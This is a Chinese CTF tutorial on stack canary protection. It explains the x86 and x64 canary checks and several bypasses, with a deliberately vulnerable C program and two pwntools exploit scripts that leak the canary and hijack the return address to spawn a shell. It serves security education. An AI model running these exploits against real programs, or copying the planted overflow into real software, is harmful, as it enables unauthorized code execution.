Canary

参考链接:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/mitigation/canary-zh/

0x1 简介:

用于防止栈溢出被利用的一种方法,原理是在栈的ebp下面放一个随机数,在函数返回之前会检查这个数有没有被修改,就可以检测是否发生栈溢出了。

0x2 原理:

在栈底放一个随机数,在函数返回时检查是否被修改。具体实现如下:

x86 :

在函数序言部分插入canary值:

mov    eax,gs:0x14
mov DWORD PTR [ebp-0xc],eax

在函数返回之前,会将该值取出,检查是否修改。这个操作即为检测是否发生栈溢出。

mov    eax,DWORD PTR [ebp-0xc]
xor eax,DWORD PTR gs:0x14
je 0x80492b2 <vuln+103> # 正常函数返回
call 0x8049380 <__stack_chk_fail_local> # 调用出错处理函数

x86 栈结构大致如下:

        High
Address | |
+-----------------+
| args |
+-----------------+
| return address |
+-----------------+
| old ebp |
ebp => +-----------------+
| ebx |
ebp-4 => +-----------------+
| unknown |
ebp-8 => +-----------------+
| canary value |
ebp-12 => +-----------------+
| 局部变量 |
Low | |
Address

x64 :

函数序言:

mov    rax,QWORD PTR fs:0x28
mov QWORD PTR [rbp-0x8],rax

函数返回前:

mov    rax,QWORD PTR [rbp-0x8]
xor rax,QWORD PTR fs:0x28
je 0x401232 <vuln+102> # 正常函数返回
call 0x401040 <__stack_chk_fail@plt> # 调用出错处理函数

x64 栈结构大致如下:

        High
Address | |
+-----------------+
| args |
+-----------------+
| return address |
+-----------------+
| old ebp |
rbp => +-----------------+
| canary value |
rbp-8 => +-----------------+
| 局部变量 |
Low | |
Address

0x3 绕过

0x3.1 泄露栈中的Canary

Canary 设计为以字节 \x00 结尾,本意是为了保证 Canary 可以截断字符串。 泄露栈中的 Canary 的思路是覆盖 Canary 的低字节,来打印出剩余的 Canary 部分。 这种利用方式需要存在合适的输出函数,并且可能需要第一溢出泄露 Canary,之后再次溢出控制执行流程。

利用示例

源代码如下:

// ex2.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
system("/bin/sh");
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void vuln() {
char buf[100];
for(int i=0;i<2;i++){
read(0, buf, 0x200);
printf(buf);
}
}
int main(void) {
init();
puts("Hello Hacker!");
vuln();
return 0;
}

编译为 32bit 程序,开启 NX,ASLR,Canary 保护,需要关闭PIE

gcc -m32 -no-pie ex2.c -o ex2-x86

linux默认开启 NX,ASLR,Canary 保护

首先通过覆盖 Canary 最后一个 \x00 字节来打印出 4 位的 Canary 之后,计算好偏移,将 Canary 填入到相应的溢出位置,实现 Ret 到 getshell 函数中

EXP

#!/usr/bin/env python

from pwn import *

context.binary = 'ex2-x86'
# context.log_level = 'debug'
io = process('./ex2-x86') get_shell = ELF("./ex2-x86").sym["getshell"] # 这里是得到getshell函数的起始地址 io.recvuntil("Hello Hacker!\n") # leak Canary
payload = "A"*100
io.sendline(payload) # 这里使用 sendline() 会在payload后面追加一个换行符 '\n' 对应的十六进制就是0xa io.recvuntil("A"*100)
Canary = u32(int.from_bytes(io.recv(4),"little"))-0xa # 这里减去0xa是为了减去上面的换行符,得到真正的 Canary
log.info("Canary:"+hex(Canary)) # Bypass Canary
payload = b"\x90"*100+p32(Canary)+b"\x90"*12+p32(get_shell) # 使用getshell的函数地址覆盖原来的返回地址
io.send(payload) io.recv() io.interactive()

编译为64位程序:

gcc -no-pie ex2.c -o ex2-x64

EXP

#!/usr/bin/env python

from pwn import *

context.binary = 'ex2-x64'
# context.log_level = 'debug'
io = process('./ex2-x64') get_shell = ELF("./ex2-x64").sym["getshell"] # 这里是得到getshell函数的起始地址 io.recvuntil("Hello Hacker!\n") # leak Canary
payload = "A"*100 + "A" * 4 # 这里再加4个 A 是因为 100 模 8 是 4 ,如果不补齐 8 位,则无法覆盖canary后面的 \x00
io.sendline(payload) # 这里使用 sendline() 会在payload后面追加一个换行符 '\n' 对应的十六进制就是0xa io.recvuntil("A"*104)
Canary = u64(io.recv(8))-0xa # 这里减去0xa是为了减去上面的换行符,得到真正的 Canary
log.info("Canary:"+hex(Canary)) # Bypass Canary
payload = b"\x90"*104+p64(Canary)+b"\x90"*8+p64(get_shell) # 使用getshell的函数地址覆盖原来的返回地址
io.send(payload) io.recv() io.interactive()

0x3.2 one-by-one 爆破 Canary

感觉用处不大,具体的可以看参考链接

0x3.3 劫持__stack_chk_fail 函数

已知 Canary 失败的处理逻辑会进入到 __stack_chk_fail 函数,__stack_chk_fail 函数是一个普通的延迟绑定函数,可以通过修改 GOT 表劫持这个函数。

参见 ZCTF2017 Login,利用方式是通过 fsb 漏洞篡改 __stack_chk_fail 的 GOT 表,再进行 ROP 利用

参考链接:

https://1ce0ear.github.io/2017/09/29/ZCTF2017-login/

https://jontsang.github.io/post/34549.html

0x3.4 覆盖 TLS 中储存的 Canary 值

已知 Canary 储存在 TLS 中,在函数返回前会使用这个值进行对比。当溢出尺寸较大时,可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过。

参见 StarCTF2018 babystack

参考链接:

https://jontsang.github.io/post/34550.html

PWN之Canary学习的更多相关文章

  1. 【pwn】学pwn日记——栈学习(持续更新)

    [pwn]学pwn日记--栈学习(持续更新) 前言 从8.2开始系统性学习pwn,在此之前,学习了部分汇编指令以及32位c语言程序的堆栈图及函数调用. 学习视频链接:XMCVE 2020 CTF Pw ...

  2. PWN二进制漏洞学习指南

    目录 PWN二进制漏洞学习指南 前言 前置技能 PWN概念 概述 发音 术语 PWN环境搭建 PWN知识学习途径 常见漏洞 安全机制 PWN技巧 PWN相关资源博客 Pwn菜鸡小分队 PWN二进制漏洞 ...

  3. [pwn基础]Pwntools学习

    目录 [pwn基础]Pwntools学习 Pwntools介绍 Pwntools安装 Pwntools常用模块和函数 pwnlib.tubes模块学习 tubes.process pwnlib.con ...

  4. MIPS Pwn赛题学习

    MIPS Pwn writeup Mplogin 静态分析   mips pwn入门题. mips pwn查找gadget使用IDA mipsrop这个插件,兼容IDA 6.x和IDA 7.x,在ID ...

  5. Hitcon 2016 Pwn赛题学习

    PS:这是我很久以前写的,大概是去年刚结束Hitcon2016时写的.写完之后就丢在硬盘里没管了,最近翻出来才想起来写过这个,索性发出来 0x0 前言 Hitcon个人感觉是高质量的比赛,相比国内的C ...

  6. PWN——uaf漏洞学习

    PWN--uaf漏洞 1.uaf漏洞原理 在C语言中,我们通过malloc族函数进行堆块的分配,用free()函数进行堆块的释放.在释放堆块的过程中,如果没有将释放的堆块置空,这时候,就有可能出现us ...

  7. [pwn基础] Linux安全机制

    目录 [pwn基础] Linux安全机制 Canary(栈溢出保护) 开启关闭Cannary Canary的种类 Terminator canaries(终结者金丝雀) Random cannarie ...

  8. Pwn入坑指南

    栈溢出原理 参考我之前发的一篇 Windows栈溢出原理 还有 brant 师傅的<0day安全笔记> Pwn常用工具 gdb:Linux下程序调试 PEDA:针对gdb的python漏洞 ...

  9. macOS逆向-如何分析macOS软件

    目录 macOS逆向-如何分析macOS软件 0x00 前言: 0x01 分析环境搭建: 安装Clang 安装Radare2 关于HT Editor 什么是Radare2 Radare2的手动安装 测 ...

随机推荐

  1. 实验三:在eNSP上进行Hybrid链路类型端口实验

    1.配置图 2.配置命令 LSW1的命令配置如下: <Huawei>system-view 进入特权模式 [Huawei]vlan batch 2 3 99 创建vlan2.vlan3.v ...

  2. Xhemj的Minecraft皮肤信息

    xhemj Minecraft Profile UUID:086e0354-fbb6-446b-83d4-60bdf449ad4e UUID:086e0354fbb6446b83d460bdf449a ...

  3. os模块常用方法笔记

    os模块是程序和系统文件之间的交互接口,可以实现对文件的创建.删除等功能,以下对os模块的功能做一个笔记,方便以后学习和查找. import os os.getcwd() #获取当前工作目录,即当前p ...

  4. tarjan求割点与割边

    tarjan求割点与割边 洛谷P3388 [模板]割点(割顶) 割点 解题思路: 求割点和割点数量模版,对于(u,v)如果low[v]>=dfn[u]那么u为割点,特判根结点,若根结点子树有超过 ...

  5. Git详解之分支使用

    前言 几乎每一种版本控制系统都以某种形式支持分支.使用分支意味着你可以从开发主线上分离开来,然后在不影响主线的同时继续工作.在很多版本控制系统中,这是个昂贵的过程,常常需要创建一个源代码目录的完整副本 ...

  6. SpringBoot学习(二):配置文件

    1.配置文件 SpringBoot使用一个全局的配置文件,配置文件名是固定的: •application.properties •application.yml 配置文件的作用:修改SpringBoo ...

  7. React 函数生命周期

      React 函数生命周期基础 1 ,概念 在组件创建.到加载到页面上运行.以及组件被销毁的过程中,总是伴随着各种各样的事件,这些在组件特定时期,触发的事件,统称为组件的生命周期:* 2,组件生命周 ...

  8. VS2013下搭建SDL开发环境

    什么是SDL? SDL是 "Simple DirectMedia Layer"的缩写,它是一个开源的项目. 为多媒体编程而设计 SDL是一个跨平台的多媒体库,它通过OpenGL和2 ...

  9. Spring基础(二)_面向切面(AOP)

    面向切面编程 面向切面编程[AOP,Aspect Oriented Programming]:通过预编译方式和运行期间动态代理实现程序功能的统一维护的技术.AOP 是 Spring 框架中的一个重要内 ...

  10. Codeforces_805

    A.当l == r时,肯定输出这个数就可以了,当存在两个或两个以上连续的数时,2肯定是最多的数,或最多的数之一. #include<bits/stdc++.h> using namespa ...